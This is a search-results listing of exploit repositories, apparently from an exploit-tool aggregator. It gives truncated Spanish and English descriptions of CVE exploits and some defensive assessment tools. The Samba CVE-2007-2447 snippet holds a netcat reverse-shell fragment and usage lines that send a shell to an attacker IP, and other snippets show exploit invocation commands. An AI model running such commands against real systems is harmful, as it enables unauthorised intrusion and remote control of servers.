269728 matches found
CVE-2024-27198
CVE-2024-27198 En JetBrains TeamCity anterior a la versión 2023.11.4, se presenta una omisión de autenticación que permite realizar acciones de administrador en el servidor TeamCity. Un atacante puede tomar el control total de todos los proyectos, builds, agentes y artefactos de TeamCity,...
CVE-2025-50165-x64-Exploit
CVE-2025-50165 Windows Graphics Component RCE x64 Critical Remote Code Execution via malicious JPEG – Windows 11 24H2 unpatched CVSS 9.8 – No privileges, no interaction required root@kitploit: CVE-2025-50165 - windowscodecs.dll untrusted pointer dereference Discovered by Zscaler ThreatLabz Patche...
ez-iRZ
ez-iRZ Exploit para CVE-2022-27226 Cross Site Request Forgery a Ejecución Remota de Código en Routers Móviles iRZ Créditos John Jackson Chris Mack --- https://github.com/0xHalcyon Stephen Chavez --- https://github.com/redragonx/ Robert Willis Descripción Un problema de CSRF en Routers Móviles iRZ...
CVE-2024-27348
CVE-2024-27348 🪶 CVE-2024-27348 Prueba de concepto de Exploit RCE en Apache HugeGraph Server Usuarios no autenticados pueden ejecutar comandos del sistema operativo mediante inyección Groovy en Apache HugeGraph Server. Uso 🛠 Explotar múltiples objetivos ☣️ root@kitploit: python3 CVE-2024-27348.py...
CVE-2018-15961
CVE-2018-15961 - Adobe ColdFusion 2018 RCE Este repositorio contiene mi código de exploit para la vulnerabilidad RCE en Adobe ColdFusion 2018. Descripción del Exploit El exploit envía una solicitud POST que contiene una reverse shell JSP a...
CVE-2007-2447
CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Uso root@kitploit: Explotar objetivo 10.129.232.46 en el puerto 445, enviar reverse shell a 10.10.14.82 en el puerto 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 Con rport y lport personalizados python3...
cve-2019-6340-bits
cve-2019-6340-bits Bits generated while analyzing CVE-2019-6340 Drupal RESTful RCE modsec rule pcap example nginx config example logs example playbook...
rails-activestorage-vips-audit
rails-activestorage-vips-audit Una Agent Skill que audita repositorios Ruby on Rails para detectar exposición a CVE-2026-66066 KindaRails2Shell — la vulnerabilidad de procesamiento de variantes libvips de Active Storage que permite la lectura arbitraria de archivos y, en una aplicación Rails, la...
cve-2025-24893
CVE-2025-24893 XWiki RCE Exploit A simple Python3 script to exploit CVE-2025-24893 , a remote code execution vulnerability in XWiki Platform, using a Groovy-based async macro and a configurable reverse shell payload. ⚠️ WARNING: This tool is provided for educational and authorized testing purposes...
sharepoint-deserialization-security-assessment
CVE-2026-45659 - Microsoft SharePoint Deserialization RCE Informe de Ciberseguridad Estilo Consultor Informe profesional de evaluación de vulnerabilidades para el riesgo de deserialización en SharePoint, que incluye resumen ejecutivo, impacto técnico, remediación y estrategia de mitigación. 📍...
CVE-2025-27636-Apache-Camel-PoC
PoC de Apache Camel CVE-2025–27636 y CVE-2025-29891 CVE-2025–27636 y CVE-2025-29891 son vulnerabilidades en Apache Camel que afectan a las versiones: 4.10.0-4.10.1, 4.8.0-4.8.4, 3.10.0-3.22.3. La explotación de estas vulnerabilidades puede permitir a los atacantes ejecutar métodos internos de...
CVE-2020-7247
CVE 2020-7247 Exploit de PoC para OpenSMTPD 6.4.0...
litellm-command-injection-security-assessment
CVE-2026-42271 - LiteLLM AI Gateway MCP Command Injection RCE Consultant-Style Cybersecurity Report Professional vulnerability assessment report for LiteLLM command injection risk, including executive summary, technical impact, remediation, and mitigation strategy. 📍 Report Snapshot Field| Detail...
CVE-2017-0108
El componente de gráficos de Windows en Microsoft Office 2007 SP3; 2010 SP2; y Word Viewer; Skype for Business 2016; Lync 2013 SP1; Lync 2010; Live Meeting 2007; Silverlight 5; Windows Vista SP2; Windows Server 2008 SP2 y R2 SP1; y Windows 7 SP1 permite a atacantes remotos ejecutar código...
cms-exploitation-campaign
Plantillas de Nuclei para la campaña de explotación de CMS Paquete de plantillas defensivas de Nuclei para la campaña de explotación de CMS a gran escala reportada por el Centro Australiano de Ciberseguridad ACSC de la ASD el 9 de julio de 2026. Aviso:...
CVE-2024-4577-PHP-RCE
CVE-2024-4577-PHP-RCE Introducción al proyecto y principio El primer exploit del mundo que aprovecha el entorno predeterminado de PHP XAMPP para la vulnerabilidad RCE PHP-CGI CVE-2024-4577. El primer exploit del mundo para RCE PHP-CGI CVE-2024-4577 que utiliza el entorno predeterminado de PHP...
SDT_CW3B1_rce
SDTCW3B1rce CVE-2021-46422 Instalación root@kitploit: git clone https://github.com/xanszZZ/SDTCW3B1rce cd SDTCW3B1rce Uso Debido a que esta herramienta es un PoC desarrollado según las especificaciones de desarrollo del framework pocsuite3 Antes de usarla, descargue pocsuite3 Dirección del proyec...
CVE-2021-42013-ApacheRCE
CVE-2021-42013-ApacheRCE...
wp2shell-Wordpress-TOWN
wp2shell by : lucifer0xf Unauthenticated Remote Code Execution for WordPress Core POC CVE-2026-63030 + CVE-2026-60137 wp2shell exploit for critical vulnerability chain in WordPress core. It chains a REST API batch route confusion bug with an SQL injection in WPQuery to achieve unauthenticated...